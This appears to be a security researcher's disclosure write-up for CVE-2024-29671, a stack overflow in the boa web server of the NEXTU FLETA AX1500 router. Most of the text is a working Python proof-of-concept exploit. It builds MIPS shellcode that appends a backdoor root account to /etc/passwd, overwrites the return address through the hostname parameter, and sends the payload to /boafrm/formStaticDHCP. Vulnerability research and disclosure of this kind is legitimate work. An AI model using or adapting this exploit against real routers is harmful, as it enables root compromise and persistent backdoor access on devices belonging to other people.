NEXTU FLETA Wifi6 Router RCE Exploit POC

This document describes how the CVE-2024-29671 vulnerability was exploited in the NEXTU FLATA AX1500 Router firmware.

Execution Environment

This router is based on the MIPS architecture using the Realtek chipset with Little-Endian.
The target router firmware version is v1.0.2.

This firmware include embedded web server name as "boa", which was last released in 2005.
However, this router uses the boa web server to provide an admin web page service that controls the router's firmware.

Cause of the vulnerability

The "boa" binary security status is as follows.

Fig 1. boa webserver binary checksec result

The cause of the stack overflow is that the length value check was not performed when copying the contents of the hostname parameter using strcpy() in the 0x00411c00 formStaticDHCP function. When request handler doing processes form requests in boa webserver.

Fig 2. Stack overflow occur location

Fig 3. Stack memory view before stack overflow is occur. (White line is RET address area)

Fig 4. Stack memory view after stack overflow is occur.

As you can see in stack 0x7ffe7dc address, witch stored handler RET address, is overflowed data by 0x42('B').

Exploit explain

If an attacker inserts a remote execution code and add the overwrites address in the RET area into the 'hostname' parameter value of the /boafrm/formStaticDHCP POST request, the Arbitrary code must be executed as root.

Vulnerability POC

from pwn import *  
from hackebds import *  
  
# id: rOOt  
# passwd: pwn3d  
  
def add_user_credential_shell_code():  
    context.update(arch='mips', os='linux', bits=32, endian='little')  
  
    cmd = "/bin/sh"  
    args = ["sh", "-c", "echo \"rOOt:XJ1GV.nyFFMoI:0:0:root:/:/bin/sh\" >> /etc/passwd"]  
  
    asmcode = shellcraft.mips.linux.execve(cmd, args) + shellcraft.mips.linux.exit()  
    shellcode = asm(asmcode)  
    return shellcode  
  
  
  
shellcode = add_user_credential_shell_code()  
  
print(shellcode)  
gap_code = (b'A') * 1282  

# insert RET Address by your own
# In this case, the address value is in the video below that execute RCE.
RET_address = (b'\xe0\x4e\xb9\x7f')  
stack_gap = (b'B') * 0x180  
  
final_code = gap_code + RET_address + stack_gap + shellcode  
  
import socket  
import ssl  
  
# Boa Webserver Connect Address
HOST = '192.168.1.254'  
PORT = 443  
  
context = ssl.create_default_context()  
context.set_ciphers('HIGH:!DH:!aNULL')  
context.check_hostname = False  
context.verify_mode = ssl.CERT_NONE  
  
with socket.create_connection((HOST, PORT)) as sock:  
    with context.wrap_socket(sock, server_hostname=HOST) as ssock:  
  
        # Make Request Body
        send_byte = b"ip_addr=AAA&mac_addr=AAA&static_dhcp=%00%00&addRsvIPFlag=%00%00&addRsvIP=%00%00&deleteSelRsvIP=%00%00&modifyRsvIP=AAA&hostname=" + final_code  
  
        # POST Request Header
        headers = b"POST /boafrm/formStaticDHCP HTTP/1.1\r\n" \  
                  b"Host: " + HOST.encode('utf-8') + b"\r\n" \  
                                                     b"Content-Type: application/octet-stream\r\n" \  
                                                     b"Content-Length: " + str(len(send_byte)).encode(  
            'utf-8') + b"\r\nConnection: close\r\n\r\n"  
  
        ssock.send(headers + send_byte)  
  
        response = b""  
        while True:  
            data = ssock.recv(1024)  
            if not data:  
                break  
            response += data  
  
        print(response.decode('utf-8'))

Exploit execution video

CVE-2024-29671.POC.mp4

Impact

This Vulnerability must occur RCE and DOS problems.

Timeline

2024-03-17: Request CVE Number
2024-03-22: Assigned CVE Number - CVE-2024-29671
2024-03~ 2024-05: The report is delivered to the company

Discoverer

Ku In Hoe